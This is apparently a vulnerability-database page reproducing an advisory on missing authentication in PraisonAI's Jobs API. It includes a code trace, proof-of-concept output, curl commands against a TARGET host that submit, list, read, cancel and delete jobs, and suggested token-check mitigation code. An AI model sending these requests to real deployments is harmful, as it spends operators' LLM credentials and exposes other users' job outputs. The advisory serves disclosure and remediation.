Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
PR:N confirmed by complete absence of any auth primitive; A:H for unbounded LLM credit exhaustion via 3600s timeout jobs; C:L and I:L for cross-tenant read and cancel/delete.
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
Lifecycle Timeline
3DescriptionCVE.org
Summary
PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs - with no token, cookie, session, or per-job ownership value.
The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.
This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the *legacy Flask* server src/praisonai/api_server.py. The fix added AUTH_ENABLED/AUTH_TOKEN/check_auth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.
Technical Detail
Source-to-sink trace
The FastAPI app includes the jobs router with only CORS middleware - no auth (server.py, create_app):
# src/praisonai/praisonai/jobs/server.py
def create_app(store=None, executor=None, cors_origins=None) -> FastAPI:
app = FastAPI(title="PraisonAI Jobs API", ...)
# ... CORS middleware only (allow_headers includes "Authorization",
# but CORS is not authentication) ...
jobs_router = create_router(get_store(), get_executor())
app.include_router(jobs_router)
# no dependencies=[Depends(...)]The router (built inside create_router()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization:
# src/praisonai/praisonai/jobs/router.py
router = APIRouter(prefix="/api/v1/runs", tags=["jobs"])
@router.post("", status_code=202) async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ...
@router.get("") async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...
@router.get("/{job_id}") async def get_job_status(job_id): ...
@router.get("/{job_id}/result") async def get_job_result(job_id): ...
@router.post("/{job_id}/cancel") async def cancel_job(job_id): ...
@router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ...
@router.get("/{job_id}/stream") async def stream_job(job_id): ...submit_job() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent:
# executor.py - submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents()
agent = Agent(instructions="You are a helpful AI assistant.", output="minimal")
result = await asyncio.to_thread(agent.start, job.prompt)
# attacker-controlled promptThe in-memory store has no owner / principal / user concept. list_jobs() returns the whole store filtered only by caller-supplied status/session_id:
# store.py
async def list_jobs(self, status=None, session_id=None, limit=20, offset=0):
jobs = list(self._jobs.values())
# global; no owner binding
if session_id: jobs = [j for j in jobs if j.session_id == session_id]
...A repository-wide grep of jobs/ for Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth returns only the string "Authorization" inside the CORS allow_headers list. There is no authentication primitive in the module.
Distinction from CVE-2026-44338 (critical for triage)
| CVE-2026-44338 (already fixed) | This finding | |
|---|---|---|
| Component | Legacy Flask src/praisonai/api_server.py | FastAPI praisonai/jobs/ |
| Endpoints | GET /agents, POST /chat | /api/v1/runs (submit/list/get/result/cancel/delete/stream) |
| Root cause | AUTH_ENABLED=False, AUTH_TOKEN=None, no-op check_auth() | No auth dependency, middleware, or token exists at all |
| Status at 4.6.51 | Patched (auth enabled by default, token auto-generated, secrets.compare_digest) | Unpatched |
The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.
Trigger conditions
- Start the server, e.g.
python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory. - Make it reachable (
--host 0.0.0.0, container publish, reverse proxy, tunnel). - Send unauthenticated requests to
POST/GET /api/v1/runs,GET /api/v1/runs/{id},GET /api/v1/runs/{id}/result,POST /api/v1/runs/{id}/cancel,DELETE /api/v1/runs/{id}.
Proof of Concept
Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each).
## Unauth POST /api/v1/runs (submit job)
POST /api/v1/runs -> HTTP 202 Authorization sent: None
body: {"job_id":"run_de282b4c3f1c","status":"queued", ...}
## Unauth GET /api/v1/runs (list every job in shared store)
GET /api/v1/runs -> HTTP 200 Authorization sent: None
body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...}
## Unauth GET /api/v1/runs/{id}/result (read tenant output)
GET /api/v1/runs/.../result -> HTTP 200 Authorization sent: None
body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...}
## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)
t=0.0s status=running ... t=2.0s status=running
POST /api/v1/runs/.../cancel -> HTTP 200 Authorization sent: None
after cancel status=cancelled
## Unauth DELETE /api/v1/runs/{id} (delete terminal job)
DELETE /api/v1/runs/... -> HTTP 204 Authorization sent: NoneEach privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output - the cross-job confidentiality primitive.)
Equivalent trigger in a fully installed, network-exposed deployment
python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory
curl -sS -X POST http://TARGET:8005/api/v1/runs \
-H 'Content-Type: application/json' \
--data-binary '{"prompt":"attacker controlled job","timeout":3600}'
curl -sS http://TARGET:8005/api/v1/runs
curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result
curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel
curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id>Impact
- Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to
timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing. - Confidentiality: callers list all jobs (
GET /api/v1/runs) and read completed results from the shared store - other callers' agent outputs. - Integrity / control: callers cancel running jobs and delete terminal jobs.
The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs.
Suggested Mitigation
Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:
- Add a jobs-server auth token (e.g.
PRAISONAI_JOBS_API_TOKEN) and require it on every/api/v1/runsroute via a router-level dependency, so future routes inherit protection by default. - Use constant-time comparison (
hmac.compare_digest/secrets.compare_digest). - Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs.
- Keep
127.0.0.1as default; warn or refuse when binding a public interface without auth configured. - Regression tests asserting unauthenticated
POST/GET/cancel/deletereturn401when auth is enabled.
import hmac, os
from fastapi import Depends, Header, HTTPException
def verify_jobs_token(authorization: str | None = Header(None),
x_api_key: str | None = Header(None, alias="X-API-Key")):
expected = os.getenv("PRAISONAI_JOBS_API_TOKEN")
if not expected:
raise HTTPException(401, "Jobs API auth is not configured")
token = x_api_key
if authorization and authorization.startswith("Bearer "):
token = authorization[7:]
if not token or not hmac.compare_digest(token, expected):
raise HTTPException(401, "Unauthorized")
# create_router(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verify_jobs_token)])AnalysisAI
PraisonAI's async Jobs API FastAPI service exposes all seven /api/v1/runs endpoints - submit, list, status, result, cancel, delete, and stream - with zero authentication on every route, allowing any network-reachable caller to execute arbitrary prompts against the operator's configured LLM credentials and enumerate or exfiltrate cross-tenant job outputs. Publicly available exploit code is documented in GHSA-2jgc-f764-c5r2, with all five attack primitives confirmed via proof-of-concept returning HTTP 202/200/204 with no credentials. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the PraisonAI jobs API to be network-reachable - the service defaults to binding `127.0.0.1`, which prevents remote access without operator action. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H) is well-calibrated for this vulnerability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade PraisonAI to version 4.6.58 or later, which introduces authentication controls for the jobs server per commit `2f9677abb2ea68eab864ee8b6a828fd0141612e1` (https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all PraisonAI deployments and confirm if running version 4.6.51 or earlier, then immediately apply the available vendor patch and restart affected services. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-65522
GHSA-2jgc-f764-c5r2